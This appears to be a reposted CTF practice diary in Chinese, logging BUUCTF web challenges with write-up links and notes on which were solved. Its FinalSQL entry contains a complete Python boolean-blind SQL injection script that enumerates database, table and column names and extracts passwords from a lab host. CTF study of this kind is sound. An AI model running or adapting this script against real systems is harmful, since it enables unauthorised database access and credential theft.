2023面试高手

这个屌丝很懒，什么也没留下！

热门标签

ctf做题记录本_babyupload

作者：2023面试高手 | 2024-04-17 12:34:57

踩

babyupload

2023年3月16日

1.XXE漏洞

在这里插入图片描述
没做出来，bp上怎么不显示结果

https://blog.csdn.net/weixin_43553654/article/details/107760067?spm=1001.2101.3001.6650.5&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EESLANDING%7Edefault-5-107760067-blog-123462682.pc_relevant_landingrelevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EESLANDING%7Edefault-5-107760067-blog-123462682.pc_relevant_landingrelevant&utm_relevant_index=6
1

2.[BJDCTF2020]Mark loves cat

需要用到kali中disearch工具

https://blog.csdn.net/m0_64118193/article/details/125742457
1

3.[安洵杯]easy_web

在这里插入图片描述
没操作出来

按照网上步骤，右边怎么没反应

4.[WUSTCTF2020]朴实无华1

https://blog.csdn.net/m0_64558270/article/details/127232625?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EAD_ESQUERY%7Eyljh-1-127232625-blog-125450367.pc_relevant_landingrelevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EAD_ESQUERY%7Eyljh-1-127232625-blog-125450367.pc_relevant_landingrelevant&utm_relevant_index=2
1

成功了

2023年3月17日

5.[]babyupload

一直没成功，是题的问题的感觉

6.[BJDCTF2020]Cookie is so stable 1

模板注入漏洞

https://blog.csdn.net/qq_45557476/article/details/123870289?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-123870289-blog-115442449.pc_relevant_recovery_v2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-123870289-blog-115442449.pc_relevant_recovery_v2&utm_relevant_index=3
1

弄不出来

2023年3月20日

[强网杯 2019]高明的黑客 1

https://blog.csdn.net/aoao331198/article/details/124431220
1

找出来了，但是过程不理解

[安洵杯 2019]easy_serialize_php1

https://blog.csdn.net/xhy18634297976/article/details/123123497
1

成功了

[ASIS 2019]Unicorn shop1

https://blog.csdn.net/m0_64558270/article/details/127284610
1

[MRCTF2020]Ezpop1

https://blog.csdn.net/xhy18634297976/article/details/123956924
1

3/21

[WesternCTF2018]shrine1（模板注入漏洞ssti）

https://blog.csdn.net/shinygod/article/details/123641745
1

知识点：

https://blog.csdn.net/weixin_43895765/article/details/123904355
1

[网鼎杯 2020 朱雀组]Nmap1

https://ego00.blog.csdn.net/article/details/109463007?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-109463007-blog-115454428.pc_relevant_recovery_v2&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-109463007-blog-115454428.pc_relevant_recovery_v2&utm_relevant_index=1
1

[MRCTF2020]PYWebsite1

https://blog.csdn.net/plant1234/article/details/124206799
1

[CISCN 2019 初赛]Love Math1

https://blog.csdn.net/plant1234/article/details/125117974
1

[NPUCTF2020]ReadlezPHP1

https://blog.csdn.net/qq_45619909/article/details/116335631?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167940286316800211539350%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=167940286316800211539350&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-2-116335631-null-null.142^v75^wechat_v2,201^v4^add_ask,239^v2^insert_chatgpt&utm_term=%5BNPUCTF2020%5DReadlezPHP%201&spm=1018.2226.3001.4187
1

没解决

3/22

[SWPU2019]Web11

https://blog.csdn.net/shinygod/article/details/123681039
1

[CISCN2019 华东南赛区]Web11

https://blog.csdn.net/weixin_44632787/article/details/118162260
1

[极客大挑战 2019]FinalSQL

# _*_ coding:utf-8 _*_
# 1.布尔盲注
# 页面有不同的响应word1,word2

import requests
import time
from math import ceil


class SqlInject(object):
    headers = {
        "headers": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36"
    }
    data = {}

    # @classmethod 修饰符对应的函数不需要实例化，不需要 self 参数，
    # 但第一个参数需要是表示自身类的 cls 参数，可以来调用类的属性，类的方法，实例化对象等。
    @classmethod
    def judge(cls, url):
        if bool(SqlInject.data):
            result = None
            # print(result)
        else:
            result = requests.get(url=url, headers=SqlInject.headers, timeout=5).text
            return result

    def __init__(self, url, word1, word2):
        self.url = url
        self.word1 = word1
        self.word2 = word2

    # word1 in result we think you get result
    def get_Current_Db_Len(self):
        for i in range(1, 20):
            # Python2.6 开始，新增了一种格式化字符串的函数 str.format()，它增强了字符串格式化的功能。
            # 基本语法是通过 {} 和 : 来代替以前的 % 。
            # format 函数可以接受不限个参数，位置可以不按顺序。
            payload = "?id=1^(length(database())={})^1".format(i)
            final_payload = self.url + payload
            result = SqlInject.judge(final_payload)
            if self.word1 in result:
                print("database len:" + str(i) + "\n")
                return i



    # 二分法获取数据库名
    def get_Current_DbName(self):
        table_list = []

        # 通常使用的方法就是从第一个开始一直顺序往后面试，但是这样效率很低，因此采用二分法可以快速的锁定
        # 就像是order by的思想，刚开始试一个很大的值，然后取一般，然后再取一半的一半，以此类推
        Name_len = self.get_Current_Db_Len()
        Temp_Len = 0
        DbName = ""
        try:
            while True:
                # ASCII可显示字符中最小为32是空格，除去因此从33开始
                # 最大为126，是~符号
                temp_bottom = 33
                temp_top = 126
                while True:
                    # 当前ascii小于temp_top
                    payload = "?id=1^((ascii(substr(database(),{},1)))<{})^1".format(Temp_Len + 1, temp_top)
                    final_payload = self.url + payload
                    result = SqlInject.judge(final_payload)
                    # print(final_payload)
                    if self.word1 in result:
                        temp_top = (temp_top - ceil((temp_top - temp_bottom) / 2))
                        # 循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)
                        interval = ceil((temp_top - temp_bottom) / 2)
                        continue
                    # 当前ascii大于temp_top
                    payload = "?id=1^((ascii(substr(database(),{},1)))>{})^1".format(Temp_Len + 1, temp_top)
                    final_payload = self.url + payload
                    result = SqlInject.judge(final_payload)
                    if self.word1 in result:
                        temp_bottom = temp_top
                        temp_top = temp_top + interval
                        continue
                    # 当前ascii等于temp_top
                    payload = "?id=1^((ascii(substr(database(),{},1)))={})^1".format(Temp_Len + 1, temp_top)
                    final_payload = self.url + payload
                    result = SqlInject.judge(final_payload)
                    if interval == 0:
                        exit("unknown error about variable interval")
                    if self.word1 in result:
                        DbName += chr(temp_top)
                        print("Database_name:" + DbName)
                        Temp_Len += 1
                        break
                if Temp_Len == Name_len:
                    table_list.append("Database_name:" + DbName)
                    break
        except Exception as e:
            print("Unknown error:", e)
        return table_list



    def get_CurrentDb_Table_Name(self):
        table_list = []
        table_name = ""
        # 二分法获取每个表名
        for i in range(0, 40):
            temp_bottom = 33
            temp_top = 126
            while True:
                # 当前ascii小于temp_top
                payload = "?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=%27geek%27)),{},1))<{})^1".format(i+1, temp_top)
                final_payload = self.url + payload
                result = SqlInject.judge(final_payload)
                # print(final_payload)
                if self.word1 in result:
                    temp_top = (temp_top - ceil((temp_top - temp_bottom) / 2))
                    # 循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)
                    interval1 = ceil((temp_top - temp_bottom) / 2)
                    # print(temp_top)
                    continue
                # 当前ascii大于temp_top
                payload = "?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=%27geek%27)),{},1))>{})^1".format(i+1, temp_top)
                # print(temp_top)
                final_payload = self.url + payload
                result = SqlInject.judge(final_payload)
                if self.word1 in result:
                    temp_bottom = temp_top
                    temp_top = temp_top + interval1
                    continue
                # 当前ascii等于temp_top
                payload = "?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=%27geek%27)),{},1))={})^1".format( i+1, temp_top)

                final_payload = self.url + payload
                result = SqlInject.judge(final_payload)

                if interval1 == 0:
                    table_list = table_name.split(",")
                    print(table_list)
                    exit("unknown error about variable interval")

                if self.word1 in result:
                    table_name += chr(temp_top)
                    print("Table_name:" + table_name)
                    break

        return table_list


    def get_CurrentTable_Column_Name(self):
        columns_list = []
        column_name = ""
        # 二分法获取每个表名
        for i in range(0, 40):
            temp_bottom = 33
            temp_top = 126
            while True:
                # 当前ascii小于temp_top
                payload = "?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=%27F1naI1y%27)),{},1))<{})^1".format(
                    i + 1, temp_top)
                final_payload = self.url + payload
                result = SqlInject.judge(final_payload)
                # print(final_payload)
                if self.word1 in result:
                    temp_top = (temp_top - ceil((temp_top - temp_bottom) / 2))
                    # 循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)
                    interval1 = ceil((temp_top - temp_bottom) / 2)
                    # print(temp_top)
                    continue
                # 当前ascii大于temp_top
                payload = "?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=%27F1naI1y%27)),{},1))>{})^1".format(
                    i + 1, temp_top)
                # print(temp_top)
                final_payload = self.url + payload
                result = SqlInject.judge(final_payload)
                if self.word1 in result:
                    temp_bottom = temp_top
                    temp_top = temp_top + interval1
                    continue
                # 当前ascii等于temp_top
                payload = "?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=%27F1naI1y%27)),{},1))={})^1".format(
                    i + 1, temp_top)

                final_payload = self.url + payload
                result = SqlInject.judge(final_payload)

                if interval1 == 0:
                    columns_list = column_name.split(",")
                    print(columns_list)
                    exit("unknown error about variable interval")

                if self.word1 in result:
                    column_name += chr(temp_top)
                    print("Table_name:" + column_name)
                    break

        return columns_list

    def get_password(self):
        passwd_list = []
        passwd_name = ""
        # 二分法获取每个表名
        for i in range(0, 400):
            temp_bottom = 33
            temp_top = 126
            while True:
                # 当前ascii小于temp_top
                payload = "?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))<{})^1".format(i + 1, temp_top)
                final_payload = self.url + payload
                result = SqlInject.judge(final_payload)
                # print(final_payload)
                if self.word1 in result:
                    temp_top = (temp_top - ceil((temp_top - temp_bottom) / 2))
                    # 循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)
                    interval1 = ceil((temp_top - temp_bottom) / 2)
                    # print(temp_top)
                    continue
                # 当前ascii大于temp_top
                payload = "?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))>{})^1".format(i + 1, temp_top)
                # print(temp_top)
                final_payload = self.url + payload
                result = SqlInject.judge(final_payload)
                if self.word1 in result:
                    temp_bottom = temp_top
                    temp_top = temp_top + interval1
                    continue
                # 当前ascii等于temp_top
                payload = "?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))={})^1".format(i + 1, temp_top)

                final_payload = self.url + payload
                result = SqlInject.judge(final_payload)

                if interval1 == 0:
                    passwd_list = passwd_name.split(",")
                    print(passwd_list)
                    exit("unknown error about variable interval")

                if self.word1 in result:
                    passwd_name += chr(temp_top)
                    print("Table_name:" + passwd_name)
                    break

        return passwd_list


def main():
    url = "http://255af9dc-946b-4a35-b528-f28581dd608f.node3.buuoj.cn/search.php"
    word1 = "NO! Not this! Click others~~~"
    word2 = "ERROR！！！"
    sqli = SqlInject(url=url, word1=word1, word2=word2)
    one = float(time.time())
    print(sqli.get_Current_Db_Len())
    # print(sqli.get_Current_DbName())
    # print(sqli.get_CurrentDb_Table_Number())
    # print(sqli.get_CurrentDb_Table_Name())
    # print(sqli.get_CurrentTable_Column_Name())
    print(sqli.get_password())



if __name__ == '__main__':
    main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261

https://blog.csdn.net/qq_35015835/article/details/109920957?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-109920957-blog-127046725.235%5Ev26%5Epc_relevant_recovery_v2&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-109920957-blog-127046725.235%5Ev26%5Epc_relevant_recovery_v2&utm_relevant_index=1
1

3/23

[BSidesCF 2019]Futurella1

直接在源码里，好简单啊

[De1CTF 2019]SSRF Me1

https://blog.csdn.net/plant1234/article/details/123999788
1

没解出来

[BSidesCF 2019]Kookie 1

https://blog.csdn.net/plant1234/article/details/125435828
1

[BJDCTF2020]EasySearch1

没有做出来

4/10

[SUCTF 2019]Pythonginx1

前面几步都能出来，不知道最后为什么出问题
在这里插入图片描述

[0CTF 2016]piapiapia1

没有做出来

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/2023面试高手/article/detail/440216